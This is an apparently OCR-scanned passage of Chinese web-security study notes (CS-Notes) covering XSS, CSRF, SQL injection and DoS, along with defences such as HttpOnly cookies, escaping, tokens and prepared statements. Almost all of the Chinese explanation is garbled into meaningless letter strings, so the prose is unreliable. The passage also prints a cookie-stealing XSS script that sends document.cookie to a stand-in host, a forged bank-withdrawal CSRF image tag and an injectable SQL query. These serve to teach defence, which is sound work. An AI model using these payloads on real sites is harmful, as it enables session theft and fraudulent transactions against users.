KA

[R{E&github: https://github.com/CyC2018/CS-Notes

PDFHI{Egithub: https://github.com/sjsdfg/CS-Notes-PDF

Suh AT

24
=

B

ESUABIAILE (Cross-Site Scripting, XSS) , AILUSARSENZIRANSAIMNGER L, XFMUREEE HTVML ]

JavaScript,
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PlnE—NMeizMu, WEEALE LEARIATRE:
<script>location.href="//domain.com/?c=" + document.cookie</script>

ZEZAB T RESHEIALA L
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
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1. 1% 8 Cookie 79 HttpOnly

I®E T HttpOnly AY Cookie BTLARALE JavaScript BIATEARE, #iFoi&i@id document.cookie 3REVFHF Cookie (ER.,
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BEMARIERRSSITRFEA HTML RS, BIAEERESIG < SFFATIERT, MRS T Xss LRI REM.

BENAIRIERIERERA XSS filter KFHE XSS Wik, BEEN —ErE0RRNERZER, NIARITFEREMRY
HTML FCESRIBIA.

LATBIFR, form F script SAREEERHEAEN, T h 7 p FIREIESRE.

<h1 id="title">XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
<p>123</p>
&1t ;form&gt;
&1t;input type="text" name="q" value="test"&gt;
&1t;/form&gt;
<pre>hello</pre>
&1t;script type="text/javascript"&gt;

alert(/xss/);
&1t;/script&gt;
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ESUEIERINIE (Cross-site request forgery, CSRF) , RRHEHBEI—ERAFREIRAFIINERELET—ECE
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BRUI—ZR IR T LA TR KIRERY URL $Ehban T
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName,

A, —NERREETLUES— Wb EREN MUS:
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">,

WREMWFEA Alice MFFIBIR T ERITR, MitZaiRiEaITRITAA, EREEEFRTH, BAMMSIRE
1000 ZE7T.
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1. & Referer BHEB=FER

Referer SEB=FER T HTTP IR, BT RAIBEREEMLL, EX P EEFERHEKIERERIHEITER— M,
BT, TLMRAKRIBALE CSRF Ik,

XMINARIREST, TEER, (NEETXERMEIN—2SRE. BXMINAEEEBRYE, EESSRENLEE
RIXIERRAY Referer FER, B HTTP I ERIOAN BB EFRAINE, EBHLERIERBATNEESAIEARSIIN,
A RENRES e TR MEIL=FER, FEBFERGERNLFELNEES, EXE Referer FERRYTTAE.

2. i NBLEE Token

EhEESIRIE KT, EXRAFNRESIREARIF Cookie B, FHEKEE T ENERNSURIEARES. FIaIRS
AR ERRENEGHIIERES, AEREFREEIXFENEL.
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Blan— RIS ERIGIERY SQL EEREBA:
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
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R AR IIEE I HEEHITLA TEIR:

strSQL = "SELECT * FROM users;"
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1. [ERSHE

Java HHfY PreparedStatement ZFRSTARIFAY SQLIER, AILUENEISHFAEZRIT. BT REHENERE, Rt
BILARGLE SQLIEANRLE.

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND
password=?");

stmt.setString(1, userid);

stmt.setString(2, password);

ResultSet rs = stmt.executeQuery();
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B4R SZINEE (denial-of-service attack, DoS) , TMRKINTEE, EBNETEBEIRENIIMNESRRFRFIER, F
RS ERTiEELE, SEEIEERPEEAE,

PITIEMIRSINE (distributed denial-of-service attack, DDoS) , FEINEHZE{ERAM M ELA LHIFERIEBIKIE &
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